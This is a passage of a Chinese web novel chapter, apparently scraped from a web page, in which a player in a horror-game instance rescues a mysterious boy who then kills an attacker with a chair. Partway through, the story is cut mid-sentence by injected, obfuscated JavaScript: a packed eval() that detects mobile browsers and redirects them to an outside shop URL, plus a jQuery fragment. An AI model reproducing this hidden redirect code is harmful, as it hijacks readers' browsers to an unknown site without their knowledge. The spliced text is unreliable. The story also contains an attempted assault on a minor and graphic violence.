“这衣服和血迹是你搞的鬼?”舒郁只恨自己够不到肆叁玖玖:“你要吓死我吗!”
『主人,不是我啊。』
舒郁:……那还不如是你呢。
蓦地,身后传来一股强烈的被窥视感。
舒郁全身僵硬。镜中寒光一闪,一道阴风直冲后脑勺。她猛地俯身,那飞来的匕首擦过颈侧,将镜子里的她扎了个四分五裂。
这个出生点有古怪。
舒郁不再逗留,扫过两眼记下主要物品后,迅速推门出去。
外面是一条长长的东西向走廊。
自她的位置望过去,这里像是学校楼里的布局,一户又一户的门紧挨着。
咔哒——
对面的门被推开,里面走出来一个男人,眼中横贯一条手指长的疤痕。
那人视线落在舒郁身上,赤裸裸地不加掩饰。
舒郁心底默默翻了个白眼。
其他房间门也接二连三的打开,直到整条长廊里挤满了人,莫约能有七八十人。
“这么多人?”有人惊讶的咦了声。
“我还是第一次见这么多人的副本。”
“会不会很难啊……”
“这副本什么等级来着?”
周围人低声讨论着,两三聚在一起。
据舒郁观察,那些聚集的人应当是互相认识,说不定就是组队来的,她甚至在这群人中看到了纹身男。
纹身男和舒郁对门的男人似乎很熟络,他没有注意到舒郁,径直过去和对门的男人勾肩搭背,有一搭没一搭的说着话。
舒郁进来之前,还真没看副本的等级。她呼叫肆叁玖玖调出副本详情。
【恐怖片:《隐形》】
【恐怖片等级:C+】
【参演角色:不知名炮灰】
舒郁:肆叁玖玖,我为什么还是炮灰?
『主人,您的积分在后5%。』
肆叁玖玖已经不觉得舒郁真的符合炮灰头衔,毕竟他在第一个副本里见过舒郁的真面目,不会再被她骗了!
『主人,这是主系统的排名机制,不是我排的QvQ』
舒郁:哦。
咔哒咔哒。
舒郁听到了一点细微的声响。她转头看过去,却只有那些玩家。
不过这一看,也让舒郁注意到了一个人。
——那是一个穿着桃粉色洛丽塔的少年,一头金色长卷发松松垮垮垂在肩头,白色过膝袜一点都不透光。整个人看起来不过十五六岁。
她一个人立在原地,看起来孤零零的。
似乎是察觉到舒郁的目光,那少年缓缓转过头,朝舒郁望过来。她朝舒郁露出一个笑,极其标准。
舒郁抿了抿唇,收回视线。
装什么。
她可太懂这个女孩的眼睛了,像她一样虚伪,指不定盘算着什么。总之不会是个不谙世事的孩子。
周围人嗡嗡嗡的熟悉了一会儿,互相讨论着情况。大家时候在等待主系统颁布任务。
可时间一点点过去,主系统也没有出来给任何提示。
“啊……怎么又是这种。”
舒郁听到有人嘀咕着抱怨。
“这应该是个自由探索的副本。”那个和纹身男一起的男人道。
其他人自然也注意到了这点,开始结伴往两侧走。舒郁慢悠悠跟上人群,随大流去了东边。
东边的尽头有个像南凹陷的大块空地,空地旁赫然有间直上直下的电梯。
电梯最上方红色小字显示:3。
这次居然还有楼层。
舒郁双手环胸,静静看着一批又一批的人走进电梯,在电梯门合拢后消失不见。他们或许向上走了,也或许往下走了。
由于大部分人都是组队,舒郁暂时没机会插入别人队伍里,只能做个冷漠的看客。随着电梯的运作,这层走廊几乎不剩几个人,原本往西边去的人也折返回来,依次坐上了电梯。
这层楼似乎没有步梯。因此舒郁一直在犹豫。毕竟恐怖片里的电梯,怎么想都是事故高发地。
她不打算先走,直到现在,大部分人都走掉,她才迈开步子往电梯里走。就在她准备进去的时候,隐约听到几声下流的咒骂,混合着深重的喘气声。
舒郁后退了两步,朝西边望过去。那个穿洛丽塔的少年被纹身男二人拖拽着按在地上,呆愣愣地一动不动。
“喂。你走不走?”
电梯里的人催促舒郁。
舒郁捏了捏手指,犹豫片刻道:“你们先走吧。”
她左右张望,进去一间敞开着门的屋子,拎起屋里的电热水壶往西边走。纹身男二人正得意,没有注意身后逐渐逼近一个人,被电热水壶叮呤咣啷砸得眼晕。
舒郁先敲一个,再砸第二个,第二个连续敲了好几下。
自从她这次进入副本,总觉得身体素质比外面要好一些。这或许是成功通过副本的某种强化。
纹身男被砸得当场倒地不起,而他的朋友光头则是一个趔趄趴在地上。
光头抬起头,怨恨的目光钉在舒郁身上,恨不得把舒郁戳个对穿。
“爹的,敢管老子的闲事!”
舒郁没看他,抓住小姑娘的手,拉着就跑。
“给我站住!”
光头跌跌撞撞爬起来,一时间走廊里只有回荡的脚步声。
眼看着光头越来越近,这个距离几乎不可能坐上电梯。
舒郁咬咬牙,拽着小姑娘钻进一间屋子里,麻溜将门一拍,咔咔咔锁上两道锁。
门板被砸得咚咚作响,卡扣隐隐有些震颤松动。
这显然不是一个人类自身该有的力量。
舒郁想起第一个副本的田澈。
田澈的力气也很大,当初可是一拳打倒了纹身男。加上她自己也感觉这次的身体不一样了,几乎能够确定:通关副本能够强化体能。
来不及继续想了,舒郁连忙把一旁的桌子扯过来,用力推过去堵住门口。推完桌子,舒郁又把沉重的实心木椅子也搬到桌子上。
做这些的功夫,她总觉得又有一道视线黏在她身上。
舒郁转过身,和小姑娘面面相觑。
小姑娘衣服上半身被扯开了个大口子,平坦的胸膛白花花一片。
停停停。
舒郁凑过去,见小姑娘还是一副无所谓的模样,她也愈发胆大,上手又扯开看了看。
这是个小男孩啊!
“别看了,来帮忙。”舒郁戳戳他肩膀:“你以为你是男的,他进来就会放过你了吗。”
少年:……
少年盯着舒郁的眼神很是奇怪,意味不明地笑了下,开始帮着舒郁一起搬东西堵门。
外面的光头砸了十来分钟,动静之大,就像是拿着铁锤砸门。门板卡扣几乎报废。但大把实心家具堵着门,他一时半会也推不开门,倒是把自己累个半死。
门外边逐渐没了动静,也没有任何脚步声,舒郁暂时还不敢开门。她转过身,这才好好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17940214|213896||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
审视起奇怪的少年。
少年抬眸盯着她,墨绿色瞳孔好似藏着宝藏。他比划了两下,朝舒郁露出一个笑。
“你不会说话?”
少年歪歪头。
舒郁微微蹙眉:“行吧。”
她总觉得这孩子不像看起来那么简单,可是他刚刚被光头按在地上,又没有丝毫反抗。
“你老实点,不然我把你扔出去。”舒郁威胁他。
少年咧开嘴笑了,乖顺点头。
被堵在这间屋里,舒郁索性翻起了抽屉。还有各种盒子、柜子、花瓶,都被她来来回回翻了个遍。
上次短暂和王杨他们相处过,舒郁也学会了主动找找线索。她到处翻箱倒柜,少年就坐在床上,脚够不着地,悠闲地晃悠着腿。
他盯着跑来跑去的舒郁,好似在看什么有趣的东西。
舒郁最终只在花瓶底下翻出一张照片。
照片上的人们排列整齐,像拍毕业照似的,一致看向镜头。
舒郁手指头一下一下点过去,数数横竖大致的人数,推测这照片上莫约一百来人。
她嘟囔着数,突然被一张脸夺走了注意力。
——那是她的脸。
这张合照里有个穿蓝裙子的女人,长得和舒郁几乎一模一样。舒郁敢打包票她绝对没有拍过这么一张照片,也没有这么一件裙子。
照片上的女人冷着脸,神情淡漠,裙子上还没有血色。而现在舒郁的裙子上全是巴掌大的血洞,裙摆几乎被浸泡成了黑紫色。
像是……照片里的人死了。
舒郁倒吸一口凉气。
这个副本里,她不会是来顶替蓝裙子女人送死的吧?!
舒郁又把那张照片来来回回看了一遍,这次她特别留意,果然发现了几张熟悉的面孔。
纹身男、光头、还有好几个她刚才在走廊记住脸的人。
他们都在这张大合照上。
舒郁甚至猜想过这个合照里的都是玩家,可这样又对不上八十人的数量,便暂时没了头绪。她把照片收进口袋里,门外又传来哐哐哐的砸门声。
这么拖下去不是办法,门迟早会被光头砸坏。
舒郁眼珠转了一圈,从堵门的一堆物件中挑出一把椅子。她朝坐在床头的少年招招手:“过来。”
少年跳下床,走到舒郁面前直直看着她。
舒郁把那把椅子塞进少年手里,压低声音嘱咐他:“我会把堵门的东西一个个扯下来,只要光头进来,你就抡过去砸晕他,明白吗?”
少年垂头看了看手里的椅子,又抬抬看看舒郁,扬起一个笑。
“那我开始了。”舒郁一边搬那些东西,一边还不忘念叨:“别耍花招,小心你也跑不了。”
堵门的东西一件一件被舒郁扯下来,舒郁使出全身力气将最后一张桌子向后一扯,锃亮的光头就率先冲进门!
一阵阴风扫过,舒郁眼前蹦出一片血红。
光头被椅子掼进地上,整个头都瘪了下去。
舒郁:?
这孩子吃什么长大的,力气这么大!
实心木椅一下又一下砸过去,砸得光头面目全非。他似乎还不满足,咧着嘴继续砸光头的胸腔、大腿,把光头砸成了一张饼。
舒郁看得两腿发软,后退想离他远点,咣当一下跌在地板上。
这声音吸引了少年的注意。他停止挥舞椅子,随意将那个断了两条腿的椅子扔到一旁,扭头看向舒郁。
舒郁:!!!